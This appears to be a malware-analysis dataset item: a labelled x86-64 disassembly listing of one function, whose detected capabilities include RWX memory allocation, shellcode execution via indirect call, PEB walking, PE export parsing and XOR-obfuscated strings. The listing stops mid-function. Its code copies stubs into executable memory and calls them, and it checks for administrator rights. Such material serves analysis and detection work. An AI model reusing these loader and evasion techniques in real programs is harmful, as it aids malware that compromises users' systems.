Function at 0x14024b5c0
Capabilities:
Accept command line arguments
Access peb ldr_data
Allocate or change rwx memory
Check os version
Encode data using xor
Execute shellcode via indirect call
Generate random numbers using a mersenne twister
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push r13
push r14
push r15
mov eax, 0xac30
call fcn.14027e170
sub rsp, rax
movaps xmmword [rsp + 0xac20], xmm6
movaps xmmword [rsp + 0xac10], xmm7
movaps xmmword [rsp + 0xac00], xmm8
movaps xmmword [rsp + 0xabf0], xmm9
movaps xmmword [rsp + 0xabe0], xmm10
movaps xmmword [rsp + 0xabd0], xmm11
movaps xmmword [rsp + 0xabc0], xmm12
mov rax, qword [0x1402bd028]
xor rax, rsp
mov qword [rsp + 0xabb0], rax
xor edi, edi
mov dword [rsp + 0x94], edi
xorps xmm0, xmm0
movups xmmword [rsp + 0xba0], xmm0
lea rcx, [rsp + 0xac48]
movabs r15, 0xff00ff00ff00ff00
mov qword [rsp + 0xba8], r15
mov qword [rsp + 0xbb0], rcx
mov rax, qword [rcx]
xor rax, r15
mov qword [rsp + 0xba0], rax
mov qword [rcx], rdi
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov rcx, rax
lea rdx, [rsp + 0xcd8]
call qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov r13, rax
mov qword [rsp + 0x48], rax
movsd xmm0, qword [0x1402aa220]
movsd qword [rsp + 0x70], xmm0
movzx ecx, word [0x1402aa228]
mov word [rsp + 0x78], cx
cmp byte [0x1402aa229], dil
je 0x14024b6f1
mov byte [rsp + 0x70], 0x54
xor byte [rsp + 0x71], 0x43
xor byte [rsp + 0x72], 0x45
xor byte [rsp + 0x73], 0x47
xor byte [rsp + 0x74], 0x49
xor byte [rsp + 0x75], 0x4b
xor byte [rsp + 0x76], 0x4d
xor byte [rsp + 0x77], 0x4f
xor byte [rsp + 0x78], 0x51
xor byte [rsp + 0x79], 0x53
lea rdx, [rsp + 0x70]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14025af20
lea rdx, [0x14025b0f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rbx, qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rsp + 0xe8], 0x64
xorps xmm0, xmm0
movups xmmword [rsp + 0xcc0], xmm0
lea rax, [rsp + 0xac48]
mov qword [rsp + 0xcc8], r15
mov qword [rsp + 0xcd0], rax
mov r12, qword [rax]
xor r12, r15
mov qword [rsp + 0xcc0], r12
mov qword [rax], rdi
mov ecx, edi
mov rax, qword [0x1402c13f0]
lea r14, [0x14025b2e0]
lea rsi, [0x140000000]
test rax, rax
je 0x14024b78d
mov rdx, rdi
cmp rax, r14
je 0x14024b7b8
inc ecx
mov edx, ecx
mov rax, qword [rsi + rcx*8 + 0x2c13f0]
test rax, rax
jne 0x14024b777
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14024b7d0
mov r8, rdi
lea r14d, [rax + 3]
jmp 0x14024b86e
mov r8, qword [rsi + rdx*8 + 0x2c39f0]
test r8, r8
je 0x14024b78d
mov r14d, 3
jmp 0x14024b896
mov rax, r14
mov rcx, r8
mov r14d, 3
mov edx, r14d
nop
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14024b7e0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1402c1d60]
lea rcx, [0x14025b2e0]
mov qword [rsi + rax*8 + 0x2c13f0], rcx
mov qword [rsi + rax*8 + 0x2c39f0], r8
inc rax
mov qword [0x1402c1d60], rax
lea rdx, [rsp + 0xe8]
mov rcx, rbx
call r8
nop
xor r12, r15
mov qword [rsp + 0xcc0], r12
lea rax, [rsp + 0xac48]
mov qword [rax], r12
xorps xmm0, xmm0
movups xmmword [rsp + 0xbb8], xmm0
lea rax, [rsp + 0xac48]
mov qword [rsp + 0xbc0], r15
mov qword [rsp + 0xbc8], rax
mov r12, qword [rax]
xor r12, r15
mov qword [rsp + 0xbb8], r12
mov qword [rax], rdi
mov ecx, edi
mov rax, qword [0x1402c29f0]
lea rbx, [0x14025bc80]
test rax, rax
je 0x14024b930
mov rdx, rdi
cmp rax, rbx
je 0x14024b91f
inc ecx
mov edx, ecx
mov rax, qword [rsi + rcx*8 + 0x2c29f0]
test rax, rax
jne 0x14024b907
jmp 0x14024b930
mov r8, qword [rsi + rdx*8 + 0x2c3380]
test r8, r8
jne 0x14024ba0f
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14024b957
mov r8, rdi
jmp 0x14024b9ee
mov rax, rbx
mov rcx, r8
mov rdx, r14
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14024b960
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1402c3d20]
mov qword [rsi + rax*8 + 0x2c29f0], rbx
mov qword [rsi + rax*8 + 0x2c3380], r8
inc rax
mov qword [0x1402c3d20], rax
lea rcx, [0x140221bb0]
call r8
nop
xor r12, r15
mov qword [rsp + 0xbb8], r12
lea rcx, [rsp + 0xac48]
mov qword [rcx], r12
test al, al
je 0x14024bcdc
mov qword [0], rdi
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rsp + 0x22b4], 0xffffffff
mov dword [rsp + 0xf34], eax
mov r12d, 1
mov edx, r12d
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rsp + rdx*4 + 0xf34], eax
inc rdx
cmp rdx, 0x270
jb 0x14024ba61
mov dword [rsp + 0xf30], 0x270
mov dword [rsp + 0x40], edi
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x14024bab0
imul rax, rax, 0x64
jmp 0x14024bacb
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
lea r15, [rax + 0x5f5e100]
mov r14d, 0x80000000
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x14024baf6
imul rax, rax, 0x64
jmp 0x14024bb11
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
cmp rax, r15
jge 0x14024bcd3
mov esi, 0x186a0
nop
lea rcx, [rsp + 0xf30]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x63
ja 0x14024bb5b
nop dword [rax + rax]
lea rcx, [rsp + 0xf30]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x14024bb40
shr rax, 0x20
lea ecx, [rax + 0x7fffff9c]
lea eax, [rcx + r14]
lea ebx, [rcx - 0x80000000]
cmp ecx, r14d
cmovae ebx, eax
test ebx, ebx
cmove ebx, r12d
lea rcx, [rsp + 0xf30]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
mov edi, ebx
cmp eax, 0xc9
jae 0x14024bbbb
cmp eax, 0x64
jae 0x14024bbbb
nop
lea rcx, [rsp + 0xf30]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x14024bba0
shr rax, 0x20
lea ecx, [rax + 0x7fffff9c]
lea eax, [rcx + r14]
lea edx, [rcx - 0x80000000]
cmp ecx, r14d
cmovae edx, eax
mov eax, dword [rsp + 0x40]
add edx, eax
mov dword [rsp + 0x40], edx
lea rcx, [rsp + 0xf30]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
mov ebx, edi
cmp eax, 0xc9
jae 0x14024bc1e
cmp eax, 0x64
jae 0x14024bc1e
lea rcx, [rsp + 0xf30]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x14024bc03
shr rax, 0x20
lea ecx, [rax + 0x7fffff9c]
lea eax, [rcx + r14]
lea edx, [rcx - 0x80000000]
cmp ecx, r14d
cmovae edx, eax
mov eax, dword [rsp + 0x40]
imul edx, eax
mov dword [rsp + 0x40], edx
lea rcx, [rsp + 0xf30]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
mov edi, ebx
cmp eax, 0xc9
jae 0x14024bc8b
cmp eax, 0x64
jae 0x14024bc8b
nop word [rax + rax]
lea rcx, [rsp + 0xf30]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x14024bc70
shr rax, 0x20
lea edx, [rax + 0x7fffff9c]
lea eax, [rdx + r14]
lea ecx, [rdx - 0x80000000]
cmp edx, r14d
cmovae ecx, eax
mov eax, dword [rsp + 0x40]
sub eax, ecx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cdq
idiv edi
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cdq
idiv edi
mov dword [rsp + 0x40], edx
sub rsi, r12
jne 0x14024bb20
jmp 0x14024bad8
mov eax, dword [rsp + 0x40]
jmp 0x140253de4
movzx eax, word [0x1402ac33c]
mov word [rsp + 0x88], ax
movzx eax, byte [0x1402ac33e]
mov byte [rsp + 0x88], 0x62
xor byte [rsp + 0x89], 0x43
xor al, 0x45
mov byte [rsp + 0x8a], al
lea rdx, [rsp + 0x88]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14025af20
lea rdx, [0x14025b0f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0x4000
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
nop
movzx eax, word [0x1402a9ae4]
mov word [rsp + 0x8c], ax
movzx eax, byte [0x1402a9ae6]
mov byte [rsp + 0x8c], 0x62
xor byte [rsp + 0x8d], 0x43
xor al, 0x45
mov byte [rsp + 0x8e], al
lea rdx, [rsp + 0x8c]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14025af20
lea rdx, [0x14025b0f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rsp + 0xa90]
call fcn.140228570
mov rdx, rax
lea rcx, [0x1402bff68]
call fcn.140257710
lea rcx, [rsp + 0xa90]
call fcn.140259200
movzx eax, word [0x1402ac3a4]
mov word [rsp + 0x90], ax
movzx eax, byte [0x1402ac3a6]
mov byte [rsp + 0x90], 0x62
xor byte [rsp + 0x91], 0x43
xor al, 0x45
mov byte [rsp + 0x92], al
lea rdx, [rsp + 0x90]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14025af20
lea rdx, [0x14025b0f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [0x1402bff68]
lea rcx, [rsp + 0xa70]
call fcn.1402578e0
mov rdx, rax
lea rcx, [rsp + 0xa50]
call fcn.14021bbd0
mov rdx, rax
lea rcx, [rsp + 0x990]
call fcn.14021b250
mov rdx, rax
lea rbx, [0x1402c02d0]
mov rcx, rbx
call fcn.140257710
lea rcx, [rsp + 0x990]
call fcn.140259200
cmp qword [0x1402c02e8], 0x10
cmovae rbx, qword [0x1402c02d0]
mov r8, qword [0x1402c02e0]
mov rdx, rbx
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140261540
lea rdx, [0x14025b0f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
jmp 0x14024beb1
movzx eax, word [0x1402a9588]
mov word [rsp + 0x68], ax
movsd xmm0, qword [str.____2m_0_U]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movzx eax, byte [0x1402a958a]
movsd qword [rsp + 0x60], xmm0
mov byte [rsp + 0x60], 0x65
xor byte [rsp + 0x61], 0x43
xor byte [rsp + 0x62], 0x45
xor byte [rsp + 0x63], 0x47
xor byte [rsp + 0x64], 0x49
xor byte [rsp + 0x65], 0x4b
xor byte [rsp + 0x66], 0x4d
xor byte [rsp + 0x67], 0x4f
xor byte [rsp + 0x68], 0x51
xor byte [rsp + 0x69], 0x53
xor al, 0x55
mov byte [rsp + 0x6a], al
lea rdx, [rsp + 0x60]
call fcn.14025af20
lea rdx, [0x14025b0f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xorps xmm0, xmm0
movups xmmword [rsp + 0xb80], xmm0
movups xmmword [rsp + 0xb90], xmm0
lea rax, vtable.ATL::CAccessToken.0
mov qword [rsp + 0xb80], rax
movdqu xmmword [rsp + 0xb88], xmm0
mov qword [rsp + 0xb98], rdi
xor eax, eax
movups xmmword [rsp + 0xdc0], xmm0
movups xmmword [rsp + 0xdd0], xmm0
movups xmmword [rsp + 0xde0], xmm0
movups xmmword [rsp + 0xdf0], xmm0
movups xmmword [rsp + 0xe00], xmm0
movups xmmword [rsp + 0xe10], xmm0
movups xmmword [rsp + 0xe20], xmm0
mov qword [rsp + 0xe30], rax
lea rax, vtable.ATL::CSid.0
mov qword [rsp + 0xdc0], rax
mov byte [rsp + 0xe0c], 0
mov dword [rsp + 0xe10], 7
call fcn.1402036b0
mov rcx, rax
test rax, rax
je 0x140253e70
mov rax, qword [rax]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rsp + 0xe18], rax
call fcn.1402036b0
mov rcx, rax
test rax, rax
je 0x140253e7b
mov rax, qword [rax]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rsp + 0xe20], rax
call fcn.1402036b0
mov rcx, rax
test rax, rax
je 0x140253e86
mov rax, qword [rax]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rsp + 0xe28], rax
call fcn.1402036b0
mov rcx, rax
test rax, rax
je 0x140253e91
mov rax, qword [rax]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rsp + 0xe30], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0xb40]
mov edx, 0x20008
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x14024c166
lea rcx, [rsp + 0xb80]
mov rax, qword [rsp + 0xb80]
call qword [rax + 8]
mov rax, qword [rsp + 0xb40]
mov qword [rsp + 0xb88], rax
lea rdx, [rsp + 0xdc0]
lea rcx, [rsp + 0xb80]
call fcn.14025a8e0
test al, al
je 0x14024c166
lea rcx, [rsp + 0xdc0]
call fcn.140203a20
lea rcx, [rsp + 0xab8]
mov qword [rsp + 0xab0], rcx
mov r8d, r14d
mov rdx, rax
lea rcx, [rsp + 0xab0]
call fcn.140258300
nop
mov rdx, qword [rsp + 0xab0]
xorps xmm0, xmm0
movups xmmword [rsp + 0x608], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x618], xmm1
mov r12, 0xffffffffffffffff
mov r8, r12
nop dword [rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x14024c110
lea rcx, [rsp + 0x608]
call fcn.14021d330
lea rdx, [rsp + 0x608]
lea rcx, [0x1402c0430]
call fcn.140257710
lea rcx, [rsp + 0x608]
call fcn.140259200
nop
lea rax, [rsp + 0xab8]
mov rcx, qword [rsp + 0xab0]
cmp rcx, rax
je 0x14024c16d
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
jmp 0x14024c16d
mov r12, 0xffffffffffffffff
mov rdx, qword [r13 + 8]
lea rcx, [rsp + 0x970]
call fcn.140257350
nop
lea rdx, [rsp + 0x970]
lea rcx, [rsp + 0xb60]
call fcn.14020a2a0
nop
lea rcx, [rsp + 0x970]
call fcn.140258f70
lea rdx, [rsp + 0xb60]
cmp qword [rsp + 0xb78], 0x10
cmovae rdx, qword [rsp + 0xb60]
mov r8, qword [rsp + 0xb70]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140261540
lea rdx, [0x14025b0f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor edx, edx
mov r8d, 0xf0
lea rcx, [rsp + 0xe40]
call fcn.14027df58
lea rax, [rsi + 0x2abb80]
mov qword [rsp + 0xe40], rax
lea rcx, [rsp + 0xed0]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
mov ebx, 1
mov dword [rsp + 0x94], ebx
xor r9d, r9d
xor r8d, r8d
lea rdx, [rsp + 0xe50]
lea rcx, [rsp + 0xe40]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64__bool____ptr64]
nop
mov rax, qword [rsp + 0xe40]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rsp + rcx + 0xe40], rax
mov rax, qword [rsp + 0xe40]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x90]
mov dword [rsp + rcx + 0xe3c], edx
lea rax, [rsp + 0xe50]
mov qword [rsp + 0x48], rax
lea rcx, [rsp + 0xe50]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
lea rax, vtable.std::basic_stringbuf_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rsp + 0xe50], rax
lea rdx, [rsp + 0xb60]
cmp qword [rsp + 0xb78], 0x10
cmovae rdx, qword [rsp + 0xb60]
lea r9d, [rbx + 1]
mov r8, qword [rsp + 0xb70]
lea rcx, [rsp + 0xe50]
call fcn.140259e70
nop
mov r8b, 0x3a
lea rdx, [0x1402c0110]
lea rcx, [rsp + 0xe40]
call fcn.1402610a0
mov r8b, 0x3a
lea rdx, [0x1402c04a0]
lea rcx, [rsp + 0xe40]
call fcn.1402610a0
mov rax, qword [rsp + 0xe40]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0xe40]
add rcx, rax
mov dl, 0xa
call qword [sym.imp.MSVCP140.dll_public:_char___cdecl_std::basic_ios_char__struct_std::char_traits_char__::widen_char_const___ptr64]
movzx r8d, al
lea rdx, [0x1402c0460]
lea rcx, [rsp + 0xe40]
call fcn.1402610a0
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rsp + 0x3644], 0xffffffff
mov dword [rsp + 0x22c4], eax
mov edx, ebx
nop
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rsp + rdx*4 + 0x22c4], eax
inc rdx
cmp rdx, 0x270
jb 0x14024c350
mov dword [rsp + 0x22c0], 0x270
mov dword [rsp + 0x40], edi
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x14024c39f
imul rax, rax, 0x64
jmp 0x14024c3ba
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
lea r15, [rax + 0x5f5e100]
mov qword [rsp + 0x48], r15
mov r14d, 0x80000000
nop dword [rax]
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x14024c3ee
imul rax, rax, 0x64
jmp 0x14024c409
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
cmp rax, r15
jge 0x14024c5ff
mov qword [rsp + 0x98], 0x186a0
mov r15d, 1
nop dword [rax]
nop dword [rax + rax]
lea rcx, [rsp + 0x22c0]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x63
ja 0x14024c46b
nop dword [rax + rax]
lea rcx, [rsp + 0x22c0]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x14024c450
shr rax, 0x20
lea ecx, [rax + 0x7fffff9c]
lea eax, [rcx + r14]
lea ebx, [rcx - 0x80000000]
cmp ecx, r14d
cmovae ebx, eax
test ebx, ebx
cmove ebx, r15d
lea rcx, [rsp + 0x22c0]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
mov r13d, ebx
cmp eax, 0xc9
jae 0x14024c4cb
cmp eax, 0x64
jae 0x14024c4cb
lea rcx, [rsp + 0x22c0]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x14024c4b0
shr rax, 0x20
lea ecx, [rax + 0x7fffff9c]
lea eax, [rcx + r14]
lea edx, [rcx - 0x80000000]
cmp ecx, r14d
cmovae edx, eax
mov eax, dword [rsp + 0x40]
add edx, eax
mov dword [rsp + 0x40], edx
lea rcx, [rsp + 0x22c0]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
mov ebx, r13d
cmp eax, 0xc9
jae 0x14024c53b
cmp eax, 0x64
jae 0x14024c53b
nop dword [rax]
nop dword [rax + rax]
lea rcx, [rsp + 0x22c0]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x14024c520
shr rax, 0x20
lea ecx, [rax + 0x7fffff9c]
lea eax, [rcx + r14]
lea edx, [rcx - 0x80000000]
cmp ecx, r14d
cmovae edx, eax
mov eax, dword [rsp + 0x40]
imul edx, eax
mov dword [rsp + 0x40], edx
lea rcx, [rsp + 0x22c0]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
mov r13d, ebx
cmp eax, 0xc9
jae 0x14024c5ab
cmp eax, 0x64
jae 0x14024c5ab
nop word [rax + rax]
lea rcx, [rsp + 0x22c0]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x14024c590
shr rax, 0x20
lea edx, [rax + 0x7fffff9c]
lea eax, [rdx + r14]
lea ecx, [rdx - 0x80000000]
cmp edx, r14d
cmovae ecx, eax
mov eax, dword [rsp + 0x40]
sub eax, ecx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cdq
idiv r13d
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cdq
idiv r13d
mov dword [rsp + 0x40], edx
sub qword [rsp + 0x98], r15
jne 0x14024c430
mov r15, qword [rsp + 0x48]
jmp 0x14024c3d0
mov eax, dword [rsp + 0x40]
call qword [sym.imp.SHELL32.dll_IsUserAnAdmin]
mov r9d, edi
test eax, eax
je 0x14024c97c
movups xmm0, xmmword [str.0_.___]
movups xmmword [rsp + 0x4f0], xmm0
movups xmm1, xmmword [0x1402ac020]
movups xmmword [rsp + 0x500], xmm1
movups xmm0, xmmword [0x1402ac030]
movups xmmword [rsp + 0x510], xmm0
movzx eax, word [0x1402ac040]
mov word [rsp + 0x520], ax
cmp dword [0x1402bd008], 2
jl 0x14024c887
movdqa xmm10, xmmword [0x1402ad0a0]
movdqa xmm6, xmmword [0x1402ad190]
mov eax, 6
movd xmm7, eax
movdqa xmm8, xmmword [0x1402ad180]
movdqa xmm11, xmmword [0x1402ad0e0]
mov ecx, 0x1f
movd xmm9, ecx
movdqa xmm12, xmmword [0x1402ad1a0]
movdqa xmm0, xmmword [str.AAAAAAAAAAAAAAAA]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x4f4]
mov edx, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm5, r9d
pshufd xmm5, xmm5, 0
paddd xmm5, xmm10
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm7
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm7
movdqa xmm1, xmm2
psrld xmm1, xmm9
paddd xmm1, xmm2
pmulld xmm1, xmm12
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm9
paddd xmm0, xmm4
pmulld xmm0, xmm11
psubd xmm5, xmm0
